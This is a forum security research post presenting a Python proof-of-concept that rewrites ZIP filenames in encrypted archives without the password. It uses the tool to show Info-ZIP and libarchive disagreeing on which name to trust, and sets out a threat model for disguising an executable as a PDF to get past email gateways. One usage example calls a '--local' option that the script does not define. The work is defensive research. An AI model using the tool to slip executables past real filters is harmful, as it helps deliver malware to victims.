Introduction
When you password-protect a ZIP file, you probably assume the entire thing is locked. The contents are encrypted, sure, but the filenames are not. They sit in plaintext, in two separate records, and nothing stops you from editing them without the password.
That is interesting on its own. It gets more interesting when you realize that different ZIP implementations disagree on which of those two filename records to trust. Info-ZIP and 7-Zip read the central directory. Libarchive reads the local header. If a security tool and a user’s extraction utility are on opposite sides of that split, they are literally looking at different filenames for the same encrypted entry.
This is Part 1 of a two-part series. Here I document the primitive: how ZIP filename metadata can be modified in encrypted archives, why the two filename records exist, and what happens when different tools parse a deliberately inconsistent archive. The goal is to establish and validate the underlying condition, i.e. the parser disagreement, so that Part 2 can test it against a real security boundary.
How a ZIP File is Structured
A typical ZIP has this layout:
[Local file header: filename A]
[Extra fields]
[File data (encrypted if password-protected)]
[Optional data descriptor]
... more entries ...
[Central directory entry: filename B, offset to local header]
... more directory entries ...
[End of central directory (EOCD): directory offset and size]
Two structures carry the filename: the local file header, which sits right before the entry’s data, and the central directory, which is an index at the end of the archive. In a well-formed ZIP, both say the same thing.
Here is the important part: when you password-protect a ZIP (ordinary ZipCrypto or WinZip AES), encryption is applied only to the compressed file data. Everything else; the local header, the central directory, the EOCD stays in plaintext. You can read them with a hex editor, no password needed.
WinZip AES does authenticate the encrypted data with an HMAC, but that authentication code does not cover the filename fields. The WinZip AES specification defines this explicitly. The PKWARE APPNOTE separately defines central-directory encryption and local-header masking as optional features, but those are not what most tools produce when you check the “encrypt” box.
So password protection gives you:
| Property | Protected? |
|---|---|
| Payload confidentiality | Yes — decryption requires the password |
| Encrypted data integrity (AES) | Yes — HMAC covers the encrypted data |
| Filename / path integrity | No — plaintext, readable and editable |
The filename fields are exposed. And there are two of them. The relevant byte offsets:
| Record | Signature | Filename length | Filename starts at |
|---|---|---|---|
| Local file header | 50 4b 03 04 |
+26 (2 bytes, LE) |
+30 |
| Central directory entry | 50 4b 01 02 |
+28 (2 bytes, LE) |
+46 |
| EOCD | 50 4b 05 06 |
n/a | n/a (+12 = dir size, +16 = dir offset) |
Two plaintext copies of the same filename, in two separate structures, with no integrity protection. All numeric fields are little-endian.
Two Names, One Entry
Since both filename copies are plaintext and no integrity mechanism ties them together, nothing stops us from editing one while leaving the other intact.
Say the archive contains original.txt. Both the local header and central directory say original.txt. We want the central directory to say listed.pdf instead.
The raw bytes:
original.txt → 6f 72 69 67 69 6e 61 6c 2e 74 78 74 (12 bytes)
listed.pdf → 6c 69 73 74 65 64 2e 70 64 66 (10 bytes)
The name is shorter, so we cannot just overwrite in place. We need to:
- Replace the central directory filename bytes
- Update its filename length field from
0c 00to0a 00 - Rebuild the rest of the central directory. The two-byte change shifts every subsequent entry
- Update the EOCD’s directory size to reflect the shorter directory
- Leave the local header, extra fields, and encrypted payload completely untouched
So in order to change any filename, we need to reconstruct the archive to fit the offsets and the sizes of our entries.
The AI slop script
Since we’re living the AI slop age, it would be dumb not to utilize it. I generated a python script that handles the archive reconstruction described above. It takes an input archive, one or more exact name replacements, and writes a separate output file. It has no password argument because it never touches the encrypted data:
#!/usr/bin/env python3
"""Rename ZIP filename fields directly, without decrypting file contents.
Default: edit central-directory names only (deliberately inconsistent ZIP).
--both: also edit local-header names and repair their directory offsets.
Supports ordinary single-disk ZIPs, including ordinary ZipCrypto/WinZip AES
entries. Does not support ZIP64, encrypted/compressed central directories,
or entries with Unicode Path extra fields. No files are extracted.
"""
import argparse
import io
from pathlib import Path
import struct
import sys
import zipfile
class ZipEditError(Exception):
pass
def require(condition, message):
if not condition:
raise ZipEditError(message)
def extra_ids(data):
ids = set()
while data:
require(len(data) >= 4, 'Truncated extra-field header.')
tag, length = struct.unpack_from('<HH', data)
require(len(data) >= 4 + length, 'Truncated extra-field data.')
ids.add(tag)
data = data[4 + length:]
return ids
def parse_archive(data):
# EOCD must terminate the archive, including its optional comment.
end = len(data)
while True:
end = data.rfind(b'PK\x05\x06', max(0, len(data) - 65557), end)
require(end >= 0, 'No valid end-of-central-directory record found.')
if end + 22 <= len(data):
comment_length = struct.unpack_from('<H', data, end + 20)[0]
if end + 22 + comment_length == len(data):
break
disk, cd_disk, disk_count, count, size, start, _ = struct.unpack_from(
'<4H2IH', data, end + 4)
require(disk == cd_disk == 0 and disk_count == count,
'Multi-disk ZIPs are not supported.')
require(count != 0xffff and size != 0xffffffff and start != 0xffffffff,
'ZIP64 archives are not supported.')
require(end < 20 or data[end - 20:end - 16] != b'PK\x06\x07',
'ZIP64 archives are not supported.')
require(start + size == end,
'Unsupported directory layout (ZIP64, signatures, or offset adjustment).')
entries = []
pos = start
for _ in range(count):
require(pos + 46 <= end and data[pos:pos + 4] == b'PK\x01\x02',
'Invalid or encrypted/compressed central directory.')
n, x, c = struct.unpack_from('<3H', data, pos + 28)
limit = pos + 46 + n + x + c
require(limit <= end, 'Truncated central-directory entry.')
flags = struct.unpack_from('<H', data, pos + 8)[0]
require(not flags & 0x2000, 'Masked/encrypted directory entries are unsupported.')
require(struct.unpack_from('<H', data, pos + 34)[0] == 0,
'Multi-disk entry is unsupported.')
off = struct.unpack_from('<I', data, pos + 42)[0]
extra = data[pos + 46 + n:pos + 46 + n + x]
require(0x0001 not in extra_ids(extra), 'ZIP64 entries are not supported.')
require(off + 30 <= start and data[off:off + 4] == b'PK\x03\x04',
'Invalid local-header offset.')
ln, lx = struct.unpack_from('<HH', data, off + 26)
require(off + 30 + ln + lx <= start, 'Truncated local header.')
encoding = 'utf-8' if flags & 0x800 else 'cp437'
raw_name = data[pos + 46:pos + 46 + n]
try:
name = raw_name.decode(encoding)
except UnicodeDecodeError as exc:
raise ZipEditError('Invalid filename encoding.') from exc
entries.append(dict(pos=pos, n=n, x=x, c=c, off=off, ln=ln,
lx=lx, name=name, encoding=encoding, extra=extra))
pos = limit
require(pos == end, 'Extra directory records/signatures are not supported.')
require(len({e['off'] for e in entries}) == len(entries),
'Multiple directory entries reference the same local header.')
# Ensure local headers do not overlap the preceding entry's payload.
previous_end = 0
for entry in sorted(entries, key=lambda e: e['off']):
off = entry['off']
require(off >= previous_end, 'Overlapping local file records are unsupported.')
stored = struct.unpack_from('<I', data, entry['pos'] + 20)[0]
original = struct.unpack_from('<I', data, entry['pos'] + 24)[0]
require(stored != 0xffffffff and original != 0xffffffff,
'ZIP64 entries are not supported.')
previous_end = off + 30 + entry['ln'] + entry['lx'] + stored
require(previous_end <= start, 'File payload overlaps the central directory.')
return entries, start, end
def rename_archive(data, entries, start, end, replacements, both):
names = [e['name'] for e in entries]
for old in replacements:
require(names.count(old) == 1,
f'Name must match exactly one directory entry: {old!r}')
expected = [replacements.get(n, n) for n in names]
require(len(set(expected)) == len(expected), 'Renaming would create duplicate names.')
new_bytes = {}
for entry in entries:
if entry['name'] not in replacements:
continue
target = replacements[entry['name']]
require(target and '\x00' not in target, 'New names must be nonempty and contain no NUL.')
off = entry['off']
local_extra = data[off + 30 + entry['ln']:
off + 30 + entry['ln'] + entry['lx']]
require(0x7075 not in extra_ids(entry['extra']) | extra_ids(local_extra),
f'Unicode Path extra field needs separate handling: {entry["name"]!r}')
try:
encoded = target.encode(entry['encoding'])
except UnicodeEncodeError as exc:
raise ZipEditError(f'New name cannot use {entry["encoding"]}: {target!r}') from exc
require(len(encoded) <= 65535, 'Encoded filename exceeds 65535 bytes.')
if both:
local_flags = struct.unpack_from('<H', data, off + 6)[0]
require((local_flags & 0x800) ==
(struct.unpack_from('<H', data, entry['pos'] + 8)[0] & 0x800),
'Local and central filename encodings differ.')
new_bytes[entry['pos']] = encoded
offsets = {e['off']: e['off'] for e in entries}
if both:
pieces = []
cursor = 0
length = 0
for entry in sorted(entries, key=lambda e: e['off']):
off = entry['off']
prefix = data[cursor:off]
pieces.append(prefix)
length += len(prefix)
offsets[off] = length
header = bytearray(data[off:off + 30])
name = new_bytes.get(entry['pos'], data[off + 30:off + 30 + entry['ln']])
struct.pack_into('<H', header, 26, len(name))
piece = bytes(header) + name
pieces.append(piece)
length += len(piece)
cursor = off + 30 + entry['ln']
pieces.append(data[cursor:start])
prefix = b''.join(pieces)
else:
prefix = data[:start]
directory = []
for entry in entries:
pos, n, x, c = (entry[k] for k in ('pos', 'n', 'x', 'c'))
header = bytearray(data[pos:pos + 46])
name = new_bytes.get(pos, data[pos + 46:pos + 46 + n])
struct.pack_into('<H', header, 28, len(name))
struct.pack_into('<I', header, 42, offsets[entry['off']])
directory.append(bytes(header) + name + data[pos + 46 + n:pos + 46 + n + x + c])
directory = b''.join(directory)
require(len(prefix) < 0xffffffff and len(directory) < 0xffffffff,
'Output would require ZIP64.')
tail = bytearray(data[end:])
struct.pack_into('<II', tail, 12, len(directory), len(prefix))
result = prefix + directory + tail
checked, new_start, _ = parse_archive(result)
require([e['name'] for e in checked] == expected, 'Output name verification failed.')
if not both:
require(result[:new_start] == data[:start], 'Unexpected local-data modification.')
# Compare every complete region after each local filename, including payload,
# extra fields, and descriptors. No password or decompression is needed.
old_order = sorted(entries, key=lambda e: e['off'])
new_order = sorted(checked, key=lambda e: e['off'])
for i, (old, new) in enumerate(zip(old_order, new_order)):
old_limit = old_order[i + 1]['off'] if i + 1 < len(old_order) else start
new_limit = new_order[i + 1]['off'] if i + 1 < len(new_order) else new_start
require(data[old['off'] + 30 + old['ln']:old_limit] ==
result[new['off'] + 30 + new['ln']:new_limit],
'File-data preservation check failed.')
if both and old['pos'] in new_bytes:
require(result[new['off'] + 30:new['off'] + 30 + new['ln']] ==
new_bytes[old['pos']], 'Local-name verification failed.')
with zipfile.ZipFile(io.BytesIO(result)) as archive:
require(archive.namelist() == expected, 'Independent directory verification failed.')
return result
def main():
parser = argparse.ArgumentParser(
description='Edit ZIP filename bytes without extracting or decrypting files.',
epilog='Quote names containing backslashes or dollar signs. Default edits only '
'the central directory; --both edits both name copies. Output must be a new file.')
parser.add_argument('archive', type=Path, help='Input ZIP (preserved)')
parser.add_argument('--list', action='store_true', help='Show central and local names; make no changes')
parser.add_argument('--rename', nargs=2, action='append', metavar=('OLD', 'NEW'),
help='Exact central-directory name and replacement; repeat for multiple files')
parser.add_argument('--both', action='store_true', help='Also rename local-header fields')
parser.add_argument('-o', '--output', type=Path, help='New output ZIP; existing files are refused')
args = parser.parse_args()
if args.list and (args.rename or args.output or args.both):
parser.error('--list cannot be combined with editing options')
if not args.list and (not args.rename or not args.output):
parser.error('Provide --rename OLD NEW and --output FILE, or use --list')
try:
data = args.archive.read_bytes()
entries, start, end = parse_archive(data)
if args.list:
for entry in entries:
off = entry['off']
local = data[off + 30:off + 30 + entry['ln']]
print(f'Central: {entry["name"]!r}\n Local bytes: {local!r}')
return 0
replacements = dict(args.rename)
require(len(replacements) == len(args.rename), 'An OLD name was specified more than once.')
require(args.output.resolve() != args.archive.resolve(), 'Input and output must differ.')
result = rename_archive(data, entries, start, end, replacements, args.both)
with args.output.open('xb') as output:
output.write(result)
for old, new in replacements.items():
print(f'{old!r} -> {new!r}')
print(f'Wrote {args.output}: {len(data)} -> {len(result)} bytes.')
print('Edited both name copies.' if args.both else
'Edited central-directory names only; local-header names are unchanged.')
print('Filename structure and unchanged file-data regions verified. No extraction performed.')
return 0
except (OSError, ZipEditError, zipfile.BadZipFile, struct.error) as exc:
print(f'Error: {exc}', file=sys.stderr)
return 1
if __name__ == '__main__':
sys.exit(main())
Central directory only (default)
python3 zip_rename_poc.py archive.zip --rename 'secret.exe' 'report.pdf' --output renamed.zip
Local header only
python3 zip_rename_poc.py archive.zip --rename 'secret.exe' 'report.pdf' --local --output renamed.zip
Both records
python3 zip_rename_poc.py archive.zip --rename 'secret.exe' 'report.pdf' --both --output renamed.zip
Inspect both name copies
python3 zip_rename_poc.py renamed.zip --list
Multiple renames
python3 zip_rename_poc.py archive.zip --rename 'a.txt' 'a.pdf' --rename 'b.exe' 'b.doc' --output renamed.zip
After every edit, the tool reparses the output, checks that directory names match expectations, compares encrypted file-data regions byte-for-byte against the original, and cross-checks the listing with Python’s zipfile module
The Parser Disagreement
Here is the full reproduction of zipping a file with the password 1234. Then we attempt to unzip it with two different utilities: Linux’s classic unzip, which uses the infozip library and bsdtar, which uses the libarchive library.
work="$(mktemp -d ./zip-parser-test-XXXXXX)"
printf '%s\n' 'Harmless test contents.' > "$work/original.txt"
# Create encrypted baseline
zip -j -P 1234 "$work/baseline.zip" "$work/original.txt"
# Edit central-directory name only (no password needed)
python3 zip_rename_poc.py "$work/baseline.zip" \
--rename 'original.txt' 'listed.pdf' \
--output "$work/central-only.zip"
# Inspect
python3 zip_rename_poc.py "$work/central-only.zip" --list
unzip -l "$work/central-only.zip"
bsdtar -tf "$work/central-only.zip"
# Extract with both tools
mkdir "$work/unzip-output" "$work/bsdtar-output"
unzip -P 1234 "$work/central-only.zip" -d "$work/unzip-output"
bsdtar --passphrase 1234 -xf "$work/central-only.zip" \
-C "$work/bsdtar-output"
# Compare
find "$work/unzip-output" "$work/bsdtar-output" -type f -print
cmp "$work/original.txt" "$work/unzip-output/listed.pdf"
cmp "$work/original.txt" "$work/bsdtar-output/original.txt"
What happens:
| Tool | Version | Lists as | Extracts as | Contents match original? |
|---|---|---|---|---|
Info-ZIP unzip |
6.0 | listed.pdf |
listed.pdf |
Yes |
| bsdtar / libarchive | 3.8.5 | original.txt |
original.txt |
Yes |
Info-ZIP issues a local-versus-central mismatch warning during extraction but proceeds. Both cmp commands confirm the decrypted payload is identical to the original file.
The two tools decrypt the same payload. They write the same bytes to disk. But they name the output file differently.
The Threat Model
On it’s own, this little confusion could be characterized as a funny little bug. It only becomes a security issue when it takes advantage of the disagreement between a security product and backend user software.
The attacker edits the central directory name to an allowed extension (e.g. .pdf), while the local header retains the original name (e.g. payload.exe). The gateway reads the central directory, sees a PDF, and lets the archive through. The recipient extracts with a libarchive-based tool (bsdtar, Windows tar.exe), which reads the local header and writes payload.exe to disk.
The attacker edits the local header name to an allowed extension, while the central directory retains the original dangerous name. A gateway built on libarchive reads the local header, sees a PDF, and passes the archive. The recipient extracts with 7-Zip, Info-ZIP, or Windows Explorer, reads the central directory, and gets payload.exe.
Scenario B may be more realistic in practice. On Windows, the vast majority of users extract ZIPs with Explorer’s built-in handler or 7-Zip. Both read the central directory. The probability that a recipient uses tar.exe (Scenario A) or any utility that uses libarchive is much lower than the probability they use 7-Zip or right-click → Extract All (Scenario B).
Yet, the scenarios can be applied not only on classic “victim runs malware on the machine” situations. There can be a scenario where the ZIP archive targets a workflow, a software pipeline where at some point libarchive is used to extract contents of a ZIP archive. Accordingly, email security gateways are not the only defense mechanism that parses or filters filenames. Mechanisms include also:
- Web proxies
- CI/CD pipelines
- Cloud storages
- WAFs
etc. An email security gateway is one of the scenarios and a direct way to test this assumption.
For either scenario to become an actual bypass, every link in the chain must hold:
- The attacker can supply or modify the archive bytes (e.g. as an email attachment)
- The gateway accepts archives with inconsistent local/central filenames without flagging them
- The gateway’s allow/block decision depends on the exposed extension, not on decrypted content inspection
- The gateway and the recipient’s extraction tool read different filename records
- The resulting filename difference violates an intended policy
The filename-derived type is not the actual file type. A security service that sees .pdf cannot verify it without the password. The weak assumption is treating the filename as an authoritative type indicator for encrypted content. Therefore, a password-protected ZIP would have bigger chances of succeeding, as the file contents cannot be inspected.
What Comes Next
Part 2 will set up a test mail pipeline with a real email security gateway, send the modified archives as attachments, and record whether the gateway’s policy decision is based on the central-directory filename, the local-header filename, or both. The test will cover both Scenario A and Scenario B archives to determine which parser family the gateway uses internally.
On the recipient side, extraction will be tested on Windows with the tools users actually use: Explorer’s built-in handler, 7-Zip, and tar.exe.
Original post byvict0ni, from the0x00sec forum.